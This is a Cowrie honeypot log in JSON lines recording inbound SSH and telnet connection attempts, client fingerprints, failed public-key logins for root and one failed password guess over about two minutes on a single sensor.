{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:20:27.567666Z","src_ip":"77.94.47.83","session":"59e533f115e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.75259709358215,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:20:45.170633Z","src_ip":"135.148.14.151","session":"6a106bf9fe16","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.55712628364563,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:20:48.471633Z","src_ip":"135.148.14.151","session":"9c57b2d6aef1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":48018,"dst_ip":"159.203.135.109","dst_port":22,"session":"a1f0e6e07a36","protocol":"ssh","message":"New connection: 89.223.69.22:48018 (159.203.135.109:22) [session: a1f0e6e07a36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:20:53.410595Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:20:53.415456Z","src_ip":"89.223.69.22","session":"a1f0e6e07a36","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:20:53.537093Z","src_ip":"89.223.69.22","session":"a1f0e6e07a36","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aladin","message":"login attempt [root/aladin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:20:53.900772Z","src_ip":"89.223.69.22","session":"a1f0e6e07a36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:20:55.023897Z","src_ip":"89.223.69.22","session":"a1f0e6e07a36","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":44800,"dst_ip":"159.203.135.109","dst_port":23,"session":"9b4f7b5f0ee2","protocol":"telnet","message":"New connection: 135.148.14.151:44800 (159.203.135.109:23) [session: 9b4f7b5f0ee2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:21:09.894873Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.64.105.252","src_port":33182,"dst_ip":"159.203.135.109","dst_port":23,"session":"bd0002721da9","protocol":"telnet","message":"New connection: 20.64.105.252:33182 (159.203.135.109:23) [session: bd0002721da9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:21:12.030029Z"}
{"eventid":"cowrie.session.closed","duration":10.04943299293518,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:21:22.079344Z","src_ip":"20.64.105.252","session":"bd0002721da9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.64.105.252","src_port":55834,"dst_ip":"159.203.135.109","dst_port":23,"session":"c2e9ae2ad36a","protocol":"telnet","message":"New connection: 20.64.105.252:55834 (159.203.135.109:23) [session: c2e9ae2ad36a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:21:22.122311Z"}
{"eventid":"cowrie.session.closed","duration":0.05562925338745117,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:21:22.177796Z","src_ip":"20.64.105.252","session":"c2e9ae2ad36a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":51196,"dst_ip":"159.203.135.109","dst_port":23,"session":"72d86bb7b5af","protocol":"telnet","message":"New connection: 135.148.14.151:51196 (159.203.135.109:23) [session: 72d86bb7b5af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:21:26.704724Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.109.228.161","src_port":43520,"dst_ip":"10.17.0.5","dst_port":22,"session":"6c01bec78384","protocol":"ssh","message":"New connection: 65.109.228.161:43520 (10.17.0.5:22) [session: 6c01bec78384]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:21:41.254138Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:21:41.258714Z","src_ip":"65.109.228.161","session":"6c01bec78384","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:21:41.369087Z","src_ip":"65.109.228.161","session":"6c01bec78384","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2b:f4:eb:60:9d:b0:8a:ae:7e:3a:31:b2:47:dc:fa:73","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBKPy8GYKab76Apf0WdyuJei/CUiIeakK0bQE5Q2NWca","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 2b:f4:eb:60:9d:b0:8a:ae:7e:3a:31:b2:47:dc:fa:73","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:21:41.900115Z","src_ip":"65.109.228.161","session":"6c01bec78384","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2b:f4:eb:60:9d:b0:8a:ae:7e:3a:31:b2:47:dc:fa:73","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBKPy8GYKab76Apf0WdyuJei/CUiIeakK0bQE5Q2NWca","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:21:41.905733Z","src_ip":"65.109.228.161","session":"6c01bec78384","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0b:97:3f:b1:c2:76:04:a1:1e:98:bc:c5:49:da:f6:a2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDX9kQ73TssScIfK5mAkMErgCWndTQ8kgJI9S/otu6IMQpA9fXMhxDLNM8jqPOO9wdTWMMxmKjiZQxhMM/reeFabtAwds+buKee58cYXtniNmgDemAe1xtBzEcBIqjSF4JBh4G4yKbzMpYoCs1F+/ckq/VxgyCIv7trZCfn4y5V1RNN44+VT25kDhHKACaE+fpuBVf5Pj9xo2eyMMaZ1Qw2IoXfC9qo4xjaBGklsfKEDXO7kBpQL8tEIeOUi1LI4zT1AIrmuEQR/BV3cKjrdjjJB8+zwVEegedAADG9MSlqxcJ6uK77ZVXjYz0v/AMVqkRxTEZne5h8Fgq/B9o4eZ0Ybxx+4rxW9biQK/T4oLbw4tWY9P2RMmYodweFC+tjfXfqggWTDjBCNI0WY2XG3rcsZa8ioGKFAvuPDBTWCrrhbmqdJ51VcFoqbllxdAsCeHuKicNkaLRqk56yTB1epcm+6+ga6zrNzUFofLZXqPdIA3WKY8dvvVb8DOduF7MtjAaFQ2VY7ioU7AKlEeg3pG5joP+7BgF1fmE55xgoXRal1gGFwuWLWeybl/W5lnqx629xLi8roeUG9t53o0QctF4lGcaSi1SF6lfIOzaqCj6y9MJqor+zrflQjH40+60UEbAFgTxM0mYAuYKhFZfRZaSSQ1u0N+DmcmX5k3IvnbQB2w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0b:97:3f:b1:c2:76:04:a1:1e:98:bc:c5:49:da:f6:a2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:21:42.022584Z","src_ip":"65.109.228.161","session":"6c01bec78384","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0b:97:3f:b1:c2:76:04:a1:1e:98:bc:c5:49:da:f6:a2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDX9kQ73TssScIfK5mAkMErgCWndTQ8kgJI9S/otu6IMQpA9fXMhxDLNM8jqPOO9wdTWMMxmKjiZQxhMM/reeFabtAwds+buKee58cYXtniNmgDemAe1xtBzEcBIqjSF4JBh4G4yKbzMpYoCs1F+/ckq/VxgyCIv7trZCfn4y5V1RNN44+VT25kDhHKACaE+fpuBVf5Pj9xo2eyMMaZ1Qw2IoXfC9qo4xjaBGklsfKEDXO7kBpQL8tEIeOUi1LI4zT1AIrmuEQR/BV3cKjrdjjJB8+zwVEegedAADG9MSlqxcJ6uK77ZVXjYz0v/AMVqkRxTEZne5h8Fgq/B9o4eZ0Ybxx+4rxW9biQK/T4oLbw4tWY9P2RMmYodweFC+tjfXfqggWTDjBCNI0WY2XG3rcsZa8ioGKFAvuPDBTWCrrhbmqdJ51VcFoqbllxdAsCeHuKicNkaLRqk56yTB1epcm+6+ga6zrNzUFofLZXqPdIA3WKY8dvvVb8DOduF7MtjAaFQ2VY7ioU7AKlEeg3pG5joP+7BgF1fmE55xgoXRal1gGFwuWLWeybl/W5lnqx629xLi8roeUG9t53o0QctF4lGcaSi1SF6lfIOzaqCj6y9MJqor+zrflQjH40+60UEbAFgTxM0mYAuYKhFZfRZaSSQ1u0N+DmcmX5k3IvnbQB2w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:21:42.027607Z","src_ip":"65.109.228.161","session":"6c01bec78384","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"97:27:c0:99:dc:78:2f:b0:5d:6b:4e:64:2d:a3:45:5a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA8fx3xuDzD6/BP0KIKTRpNfZ6hYWOBO/78Hj42gkcCaAdxuJBtIsU4LE64QFfk/Nw/0CDzHKpHCA4eRT9922qsrEPefSEA8yv/WYWF4lauqcVeipOo7Ak83fvowJmyQln0qRfJUaaNI6/YkH6DTV1mZZuSeL/tKGoCLBYzIcbjjzDHPU/HJo8Or51etAZSXe/Yw4aHvlAXee9/rY238xf3DzucpVIfIKTYc7vbvs7yWyxMqr8zo0RwbNViUQCTp+XtytQOCvplEYPIVu3goq9KGDtSV/dAbOgmIC+ogKx16xP1PKE4cahkiJLjOBwm+MKmguef6RBpWwyfsLcryW/Tw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 97:27:c0:99:dc:78:2f:b0:5d:6b:4e:64:2d:a3:45:5a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:21:42.140670Z","src_ip":"65.109.228.161","session":"6c01bec78384","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"97:27:c0:99:dc:78:2f:b0:5d:6b:4e:64:2d:a3:45:5a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA8fx3xuDzD6/BP0KIKTRpNfZ6hYWOBO/78Hj42gkcCaAdxuJBtIsU4LE64QFfk/Nw/0CDzHKpHCA4eRT9922qsrEPefSEA8yv/WYWF4lauqcVeipOo7Ak83fvowJmyQln0qRfJUaaNI6/YkH6DTV1mZZuSeL/tKGoCLBYzIcbjjzDHPU/HJo8Or51etAZSXe/Yw4aHvlAXee9/rY238xf3DzucpVIfIKTYc7vbvs7yWyxMqr8zo0RwbNViUQCTp+XtytQOCvplEYPIVu3goq9KGDtSV/dAbOgmIC+ogKx16xP1PKE4cahkiJLjOBwm+MKmguef6RBpWwyfsLcryW/Tw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:21:42.144722Z","src_ip":"65.109.228.161","session":"6c01bec78384","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0e:65:f3:a6:cb:10:89:f6:b1:d2:80:f2:d6:99:70:47","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwsSsPp7frgziV+c5TJqwOvTzuDlf+7pF3KRgueEjhKdIaLwLCqISdlGFIpuXPOZfy3jqA3CzBpMkCvNt8qV43exEDkYWyFEoMqtLZBca9Bn8hOhrSLCdyJXX2IYaXZMPFd+mxUlpvZasPeErdicqO13BWloJJ8sNxHmDA1L7HYvyC9KCF23jC8R1OBjZ96QU2nHaNVI9wKd4Re9+WwUu0ISCretplNBVscLEQHhznaM0HdYY9hFF7D2n1cbbmnIG9yG3GULyNcJ4qqpxG180FUMbisgDtL3DiFA1VQVeHf/9zLbCTYvQXgPMb7+TVJ8t1Himon+G1bF1hlUp2SQN8w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0e:65:f3:a6:cb:10:89:f6:b1:d2:80:f2:d6:99:70:47","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:21:42.256094Z","src_ip":"65.109.228.161","session":"6c01bec78384","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0e:65:f3:a6:cb:10:89:f6:b1:d2:80:f2:d6:99:70:47","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwsSsPp7frgziV+c5TJqwOvTzuDlf+7pF3KRgueEjhKdIaLwLCqISdlGFIpuXPOZfy3jqA3CzBpMkCvNt8qV43exEDkYWyFEoMqtLZBca9Bn8hOhrSLCdyJXX2IYaXZMPFd+mxUlpvZasPeErdicqO13BWloJJ8sNxHmDA1L7HYvyC9KCF23jC8R1OBjZ96QU2nHaNVI9wKd4Re9+WwUu0ISCretplNBVscLEQHhznaM0HdYY9hFF7D2n1cbbmnIG9yG3GULyNcJ4qqpxG180FUMbisgDtL3DiFA1VQVeHf/9zLbCTYvQXgPMb7+TVJ8t1Himon+G1bF1hlUp2SQN8w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:21:42.259877Z","src_ip":"65.109.228.161","session":"6c01bec78384","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"49:94:45:57:69:00:1a:dc:d8:f3:29:fb:c6:69:66:8b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC64xwhua7OpZCgmOjnpUMrdsPvefjNpn/aX2U1Vd96O1latCnxkEeUcaLNPl9wjwtQF7PFDJMfLvZvtWSZBrTygWjziYb8Kd+w+QxoS2Ib67w/lO9hHyDk96r2vVXLDLLMJnVrXRrZEKayLc9xFcxSbkCsfXHD0c3fAEeC8WFKcm+A/E7GPutURjLFy7GcJ1LKmvsBRzSRD1j9XzmzMzTQOYdZGvFDKygbOq0IR04+DEsHvS53SheVehX8wkd731Dc+xnBkNOypS1qgMYOciKaw307LimmMYJ04yznhL7LMYTmwW/TuYQ6RkZ/3VLepsTT1zLwoSfccUJUEr67PkwT","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 49:94:45:57:69:00:1a:dc:d8:f3:29:fb:c6:69:66:8b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:21:42.371094Z","src_ip":"65.109.228.161","session":"6c01bec78384","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"49:94:45:57:69:00:1a:dc:d8:f3:29:fb:c6:69:66:8b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC64xwhua7OpZCgmOjnpUMrdsPvefjNpn/aX2U1Vd96O1latCnxkEeUcaLNPl9wjwtQF7PFDJMfLvZvtWSZBrTygWjziYb8Kd+w+QxoS2Ib67w/lO9hHyDk96r2vVXLDLLMJnVrXRrZEKayLc9xFcxSbkCsfXHD0c3fAEeC8WFKcm+A/E7GPutURjLFy7GcJ1LKmvsBRzSRD1j9XzmzMzTQOYdZGvFDKygbOq0IR04+DEsHvS53SheVehX8wkd731Dc+xnBkNOypS1qgMYOciKaw307LimmMYJ04yznhL7LMYTmwW/TuYQ6RkZ/3VLepsTT1zLwoSfccUJUEr67PkwT","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:21:42.375180Z","src_ip":"65.109.228.161","session":"6c01bec78384","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:21:42.489681Z","src_ip":"65.109.228.161","session":"6c01bec78384","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":59036,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea7e8550608e","protocol":"telnet","message":"New connection: 135.148.14.151:59036 (159.203.135.109:23) [session: ea7e8550608e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:21:42.841985Z"}
{"eventid":"cowrie.session.closed","duration":37.50737380981445,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:21:47.402141Z","src_ip":"135.148.14.151","session":"9b4f7b5f0ee2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":34180,"dst_ip":"159.203.135.109","dst_port":23,"session":"8fc16d4ca19a","protocol":"telnet","message":"New connection: 135.148.14.151:34180 (159.203.135.109:23) [session: 8fc16d4ca19a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:21:47.978114Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":38698,"dst_ip":"159.203.135.109","dst_port":23,"session":"61bdbc956965","protocol":"telnet","message":"New connection: 135.148.14.151:38698 (159.203.135.109:23) [session: 61bdbc956965]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:21:57.867115Z"}
{"eventid":"cowrie.session.closed","duration":34.78657507896423,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:22:01.491194Z","src_ip":"135.148.14.151","session":"72d86bb7b5af","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":42258,"dst_ip":"159.203.135.109","dst_port":23,"session":"1a00d68ee57d","protocol":"telnet","message":"New connection: 135.148.14.151:42258 (159.203.135.109:23) [session: 1a00d68ee57d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:22:08.097984Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":57186,"dst_ip":"159.203.135.109","dst_port":23,"session":"1264d308e154","protocol":"telnet","message":"New connection: 135.148.14.151:57186 (159.203.135.109:23) [session: 1264d308e154]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:22:10.739874Z"}
{"eventid":"cowrie.session.closed","duration":0.005867719650268555,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:22:10.745623Z","src_ip":"135.148.14.151","session":"1264d308e154","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.44570517539978,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:22:16.287476Z","src_ip":"135.148.14.151","session":"ea7e8550608e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":17092,"dst_ip":"159.203.135.109","dst_port":22,"session":"71e20a4e5854","protocol":"ssh","message":"New connection: 194.59.206.2:17092 (159.203.135.109:22) [session: 71e20a4e5854]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:22:18.666496Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:22:18.678887Z","src_ip":"194.59.206.2","session":"71e20a4e5854","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:22:18.770190Z","src_ip":"194.59.206.2","session":"71e20a4e5854","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:22:18.868969Z","src_ip":"194.59.206.2","session":"71e20a4e5854","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":56040,"dst_ip":"10.17.0.5","dst_port":22,"session":"257ebfaee3c0","protocol":"ssh","message":"New connection: 109.172.54.111:56040 (10.17.0.5:22) [session: 257ebfaee3c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:22:23.625466Z"}
